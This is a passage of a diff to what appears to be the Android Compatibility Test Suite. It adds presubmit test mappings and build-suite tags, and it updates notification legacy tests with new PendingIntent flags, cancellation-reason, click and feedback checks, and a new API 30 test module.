+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/TEST_MAPPING
new file mode 100644
index 0000000..49aaca1
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigAttributeTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/TEST_MAPPING
new file mode 100644
index 0000000..b4cf9c0
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigBasicDomainConfigTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/TEST_MAPPING
new file mode 100644
index 0000000..021dd45
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigPrePCleartextTrafficTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/TEST_MAPPING
new file mode 100644
index 0000000..c015f28
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigCleartextTrafficTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/TEST_MAPPING
new file mode 100644
index 0000000..1c0ace3
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-disabled/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigBasicDebugDisabledTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/TEST_MAPPING
new file mode 100644
index 0000000..8bfb01a
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-debug-basic-enabled/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigBasicDebugEnabledTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/TEST_MAPPING
new file mode 100644
index 0000000..9aaae09
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-downloadmanager/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigDownloadManagerTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/TEST_MAPPING
new file mode 100644
index 0000000..8786f17
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigInvalidPinTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/TEST_MAPPING
new file mode 100644
index 0000000..904eda5
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigNestedDomainConfigTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/TEST_MAPPING b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/TEST_MAPPING
new file mode 100644
index 0000000..8462e93
--- /dev/null
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsNetSecConfigResourcesSrcTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index ff5317a..01cf38f 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -34,7 +34,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
 
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/neuralnetworks/benchmark/Android.mk b/tests/tests/neuralnetworks/benchmark/Android.mk
index 6c2b3af..5e57c06 100644
--- a/tests/tests/neuralnetworks/benchmark/Android.mk
+++ b/tests/tests/neuralnetworks/benchmark/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_MULTILIB := both
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests mts
+LOCAL_COMPATIBILITY_SUITE := cts general-tests mts mts-neuralnetworks
 
 LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules \
     compatibility-device-util-axt ctstestrunner-axt junit NeuralNetworksApiBenchmark_Lib
diff --git a/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml b/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
index 2a5df64..0e96960 100644
--- a/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
+++ b/tests/tests/neuralnetworks/benchmark/AndroidManifest.xml
@@ -15,21 +15,21 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.nn.benchmark.cts">
+     package="com.android.nn.benchmark.cts">
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
     <uses-sdk android:minSdkVersion="27"/>
 
     <application android:name=".NNAccuracyApplication">
-        <activity android:name=".NNAccuracyActivity">
+        <activity android:name=".NNAccuracyActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-            android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.nn.benchmark.cts"
-            android:label="CTS tests of NNAPI accuracy benchmark"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.nn.benchmark.cts"
+         android:label="CTS tests of NNAPI accuracy benchmark"/>
 </manifest>
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
index eb6f2c8..785f7bd 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -68,11 +68,11 @@
 LOCAL_WHOLE_STATIC_LIBRARIES := CtsTfliteNnapiDelegateTests_static
 
 LOCAL_SHARED_LIBRARIES := libandroid liblog libneuralnetworks
-LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libtflite_static
+LOCAL_STATIC_LIBRARIES := libgtest_ndk_c++ libgmock_ndk libtflite_static
 LOCAL_CTS_TEST_PACKAGE := android.neuralnetworks
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts mts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts mts mts-neuralnetworks general-tests
 
 LOCAL_SDK_VERSION := current
 LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
index 803f55e..8d2931f 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy20/src/android/app/notification/legacy20/cts/LegacyNotificationManager20Test.java
@@ -102,7 +102,7 @@
 
         mListener.cancelNotification(sbn.getPackageName(), sbn.getTag(), sbn.getId());
         if (mContext.getApplicationInfo().targetSdkVersion < Build.VERSION_CODES.LOLLIPOP) {
-            if (checkNotificationExistence(notificationId, /*shouldExist=*/ true)) {
+            if (!checkNotificationExistence(notificationId, /*shouldExist=*/ false)) {
                 fail("Failed to cancel notification. targetSdk="
                         + mContext.getApplicationInfo().targetSdkVersion);
             }
@@ -128,7 +128,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
index 9f48a60..144ceac 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
@@ -36,5 +36,5 @@
         "cts",
         "general-tests",
     ],
-    min_sdk_version: "27",
+    target_sdk_version: "27"
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/TEST_MAPPING b/tests/tests/notificationlegacy/notificationlegacy27/TEST_MAPPING
new file mode 100644
index 0000000..b540596
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy27/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsLegacyNotification27TestCases"
+    }
+  ]
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
index 3f93fb5..642dc72 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/LegacyNotificationManagerTest.java
@@ -39,6 +39,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.os.Build;
 import android.os.ParcelFileDescriptor;
 import android.provider.Telephony.Threads;
 import android.service.notification.NotificationListenerService;
@@ -314,6 +315,26 @@
                 InstrumentationRegistry.getInstrumentation(), false);
     }
 
+    @Test
+    public void testChannelDeletion_cancelReason() throws Exception {
+        assertEquals(Build.VERSION_CODES.O_MR1, mContext.getApplicationInfo().targetSdkVersion);
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), true);
+        Thread.sleep(500); // wait for listener to be allowed
+        mListener = TestNotificationListener.getInstance();
+
+        sendNotification(566, R.drawable.icon_black);
+
+        Thread.sleep(500); // wait for notification listener to receive notification
+        assertEquals(1, mListener.mPosted.size());
+        String key = mListener.mPosted.get(0).getKey();
+
+        mNotificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
+
+        assertEquals(NotificationListenerService.REASON_CHANNEL_BANNED,
+                getCancellationReason(key));
+    }
+
     private void sendNotification(final int id, final int icon) throws Exception {
         sendNotification(id, null, icon);
     }
@@ -325,7 +346,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
@@ -338,6 +359,20 @@
         mNotificationManager.notify(id, notification);
     }
 
+    private int getCancellationReason(String key) {
+        for (int tries = 3; tries-- > 0; ) {
+            if (mListener.mRemoved.containsKey(key)) {
+                return mListener.mRemoved.get(key);
+            }
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return -1;
+    }
+
     private void toggleNotificationPolicyAccess(String packageName,
             Instrumentation instrumentation, boolean on) throws IOException {
 
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
index c174d81..d8542e9 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
+++ b/tests/tests/notificationlegacy/notificationlegacy27/src/android/app/notification/legacy/cts/TestNotificationListener.java
@@ -21,6 +21,8 @@
 import android.util.Log;
 
 import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Map;
 
 public class TestNotificationListener extends NotificationListenerService {
     public static final String TAG = "TestNotificationListener";
@@ -29,7 +31,7 @@
     private ArrayList<String> mTestPackages = new ArrayList<>();
 
     public ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
-    public ArrayList<StatusBarNotification> mRemoved = new ArrayList<>();
+    public Map<String, Integer> mRemoved = new HashMap<>();
     public RankingMap mRankingMap;
 
     private static TestNotificationListener sNotificationListenerInstance = null;
@@ -80,10 +82,11 @@
     }
 
     @Override
-    public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap) {
+    public void onNotificationRemoved(StatusBarNotification sbn, RankingMap rankingMap,
+            int reason) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
         mRankingMap = rankingMap;
-        mRemoved.add(sbn);
+        mRemoved.put(sbn.getKey(), reason);
     }
 
     @Override
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
index 83d2978..cf8981d 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy28/src/android/app/notification/legacy28/cts/NotificationManager28Test.java
@@ -101,6 +101,6 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 }
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
index 179a1bd..0d01e20 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
@@ -34,7 +34,6 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts-extservices"
     ],
     sdk_version: "test_current",
     target_sdk_version: "29",
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
index fbfd309..9421128 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
+++ b/tests/tests/notificationlegacy/notificationlegacy29/AndroidTest.xml
@@ -29,8 +29,4 @@
         <option name="runtime-hint" value="5m" />
         <option name="hidden-api-checks" value="false" />
     </test>
-
-    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
-        <option name="mainline-module-package-name" value="com.google.android.extservices" />
-    </object>
 </configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
index e83928a..af70d69 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationAssistantServiceTest.java
@@ -16,6 +16,8 @@
 
 package android.app.notification.legacy29.cts;
 
+import static android.service.notification.NotificationAssistantService.FEEDBACK_RATING;
+
 import static junit.framework.Assert.assertEquals;
 import static junit.framework.Assert.assertTrue;
 import static junit.framework.TestCase.assertFalse;
@@ -38,7 +40,6 @@
 import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.ParcelFileDescriptor;
-import android.os.UserHandle;
 import android.provider.Telephony;
 import android.service.notification.Adjustment;
 import android.service.notification.NotificationAssistantService;
@@ -56,12 +57,8 @@
 import org.junit.runner.RunWith;
 
 import java.io.BufferedReader;
-import java.io.FileInputStream;
 import java.io.FileReader;
 import java.io.IOException;
-import java.io.InputStream;
-import java.io.Reader;
-import java.nio.CharBuffer;
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -135,6 +132,8 @@
         sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
         mNotificationListenerService.mRankingMap.getRanking(sbn.getKey(), out);
 
+        // Assistant gets correct rank
+        assertTrue(mNotificationAssistantService.notificationRank >= 0);
         // Assistant modifies notification
         assertEquals(NotificationListenerService.Ranking.USER_SENTIMENT_POSITIVE,
                 out.getUserSentiment());
@@ -267,7 +266,7 @@
         mUi.dropShellPermissionIdentity();
 
         PendingIntent sendIntent = PendingIntent.getActivity(mContext, 0,
-                new Intent(Intent.ACTION_SEND), 0);
+                new Intent(Intent.ACTION_SEND), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action sendAction = new Notification.Action.Builder(ICON_ID, "SEND",
                 sendIntent).build();
 
@@ -535,7 +534,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification.Action action = new Notification.Action.Builder(null, "",
                 pendingIntent).build();
         // This method has to exist and the call cannot fail
@@ -648,6 +647,53 @@
                 NotificationAssistantService.SOURCE_FROM_APP);
     }
 
+    @Test
+    public void testOnNotificationClicked() throws Exception {
+        if (isTelevision()) {
+            return;
+        }
+
+        setUpListeners();
+        turnScreenOn();
+        mUi.adoptShellPermissionIdentity("android.permission.STATUS_BAR_SERVICE", "android.permission.EXPAND_STATUS_BAR");
+
+        mNotificationAssistantService.resetNotificationClickCount();
+
+        // Initialize as closed
+        mStatusBarManager.collapsePanels();
+        sendNotification(1, ICON_ID);
+        StatusBarNotification sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
+
+        mStatusBarManager.expandNotificationsPanel();
+        Thread.sleep(SLEEP_TIME * 2);
+        mStatusBarManager.clickNotification(sbn.getKey(), 1, 1, true);
+        Thread.sleep(SLEEP_TIME * 2);
+
+        assertEquals(1, mNotificationAssistantService.notificationClickCount);
+
+        mStatusBarManager.collapsePanels();
+        mUi.dropShellPermissionIdentity();
+
+    }
+
+    @Test
+    public void testOnNotificationFeedbackReceived() throws Exception {
+        setUpListeners(); // also enables assistant
+        mUi.adoptShellPermissionIdentity("android.permission.STATUS_BAR_SERVICE", "android.permission.EXPAND_STATUS_BAR");
+
+        sendNotification(1, ICON_ID);
+        StatusBarNotification sbn = getFirstNotificationFromPackage(TestNotificationListener.PKG);
+
+        Bundle feedback = new Bundle();
+        feedback.putInt(FEEDBACK_RATING, 1);
+
+        mStatusBarManager.sendNotificationFeedback(sbn.getKey(), feedback);
+        Thread.sleep(SLEEP_TIME * 2);
+        assertEquals(1, mNotificationAssistantService.notificationFeedback);
+
+        mUi.dropShellPermissionIdentity();
+    }
+
     private StatusBarNotification getFirstNotificationFromPackage(String PKG)
             throws InterruptedException {
         StatusBarNotification sbn = mNotificationListenerService.mPosted.poll(SLEEP_TIME,
@@ -683,7 +729,7 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
@@ -763,4 +809,4 @@
             }
         }
     }
-}
\ No newline at end of file
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
index 52fe892..c164656 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/NotificationManager29Test.java
@@ -129,7 +129,7 @@
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                mContext, 0, new Intent(mContext, this.getClass()), 0);
+                mContext, 0, new Intent(mContext, this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
 
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
index 3830458..e8a854b 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
+++ b/tests/tests/notificationlegacy/notificationlegacy29/src/android/app/notification/legacy29/cts/TestNotificationAssistant.java
@@ -16,6 +16,7 @@
 
 package android.app.notification.legacy29.cts;
 
+import android.app.NotificationChannel;
 import android.app.NotificationManager;
 import android.content.ComponentName;
 import android.os.Bundle;
@@ -36,6 +37,9 @@
     int notificationVisibleCount = 0;
     int notificationSeenCount = 0;
     int notificationHiddenCount = 0;
+    int notificationClickCount = 0;
+    int notificationRank = -1;
+    int notificationFeedback = 0;
     String snoozedKey;
     String snoozedUntilContext;
     private NotificationManager mNotificationManager;
@@ -81,7 +85,16 @@
 
     @Override
     public Adjustment onNotificationEnqueued(StatusBarNotification sbn) {
+        return null;
+    }
+
+    @Override
+    public Adjustment onNotificationEnqueued(StatusBarNotification sbn, NotificationChannel channel,
+            RankingMap rankingMap) {
         Bundle signals = new Bundle();
+        Ranking ranking = new Ranking();
+        rankingMap.getRanking(sbn.getKey(), ranking);
+        notificationRank = ranking.getRank();
         signals.putInt(Adjustment.KEY_USER_SENTIMENT, Ranking.USER_SENTIMENT_POSITIVE);
         return new Adjustment(sbn.getPackageName(), sbn.getKey(), signals, "",
                 sbn.getUser());
@@ -121,4 +134,17 @@
     public void onPanelRevealed(int items) {
         isPanelOpen = true;
     }
+
+    void resetNotificationClickCount() {
+        notificationClickCount = 0;
+    }
+
+    @Override
+    public void onNotificationClicked(String key) { notificationClickCount++; }
+
+    @Override
+    public void onNotificationFeedbackReceived(String key, RankingMap rankingMap, Bundle feedback) {
+        notificationFeedback = feedback.getInt(FEEDBACK_RATING, 0);
+    }
+
 }
\ No newline at end of file
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/Android.bp b/tests/tests/notificationlegacy/notificationlegacy30/Android.bp
new file mode 100644
index 0000000..232cfd9
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/Android.bp
@@ -0,0 +1,46 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsLegacyNotification30TestCases",
+    defaults: ["cts_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "CtsAppTestStubsShared",
+        "junit",
+        "truth-prebuilt",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.kt",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts"
+    ],
+    sdk_version: "test_current",
+    target_sdk_version: "30",
+    min_sdk_version: "30",
+}
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/AndroidManifest.xml b/tests/tests/notificationlegacy/notificationlegacy30/AndroidManifest.xml
new file mode 100644
index 0000000..95fa88c
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.notification.legacy30.cts">
+
+    <uses-permission android:name="android.permission.EXPAND_STATUS_BAR" />
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+        <activity android:name="android.app.stubs.shared.NotificationHostActivity"
+            android:label="NotificationHostActivity"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="android.app.notification.legacy30.cts"
+                     android:label="CTS tests for notification behavior (API 30)">
+        <meta-data android:name="listener"
+                   android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+</manifest>
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/AndroidTest.xml b/tests/tests/notificationlegacy/notificationlegacy30/AndroidTest.xml
new file mode 100644
index 0000000..702d261
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/AndroidTest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Notification API 30 test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <!-- Notification Listeners are not supported for instant apps. -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsLegacyNotification30TestCases.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.app.notification.legacy30.cts" />
+        <option name="runtime-hint" value="5m" />
+        <option name="hidden-api-checks" value="false" />
+    </test>
+</configuration>
diff --git a/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/NotificationTemplateApi30Test.kt b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/NotificationTemplateApi30Test.kt
new file mode 100644
index 0000000..84a05c3
--- /dev/null
+++ b/tests/tests/notificationlegacy/notificationlegacy30/src/android/app/notification/legacy30/cts/NotificationTemplateApi30Test.kt
@@ -0,0 +1,287 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
